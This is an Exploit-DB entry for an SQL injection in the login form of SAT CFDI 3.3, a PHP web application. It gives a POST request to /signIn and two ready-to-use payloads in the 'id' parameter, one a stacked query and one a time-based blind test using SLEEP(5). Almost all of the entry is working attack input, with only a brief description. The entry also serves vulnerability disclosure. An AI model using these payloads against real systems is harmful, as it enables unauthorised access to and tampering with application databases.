SAT CFDI 3.3 - SQL Injection

EDB-ID:
44726

CVE:
N/A

EDB Verified: ×

Author:
AKKUS

Type:
WEBAPPS

Exploit: / {}

```
# Exploit Title: SAT CFDI 3.3 - SQL Injection
# Dork: N/A
# Date: 2018-05-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://www.wecodex.com/item/view/verification-and-
validation-system-sat-cfdi-33/8
# Version: 3.3
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# PoC : SQLi :
# Demo : https://Target
# https://Target/signIn

POST /signIn HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0) Gecko/20100101
```



```
# Type: stacked queries
# Title: MySQL > 5.0.11 stacked queries (comment)
# Payload:

id=admin";SELECT SLEEP(5)#&password=123456

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload:

id=admin" AND SLEEP(5) AND "bWUR"="bWUR&password=123456
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions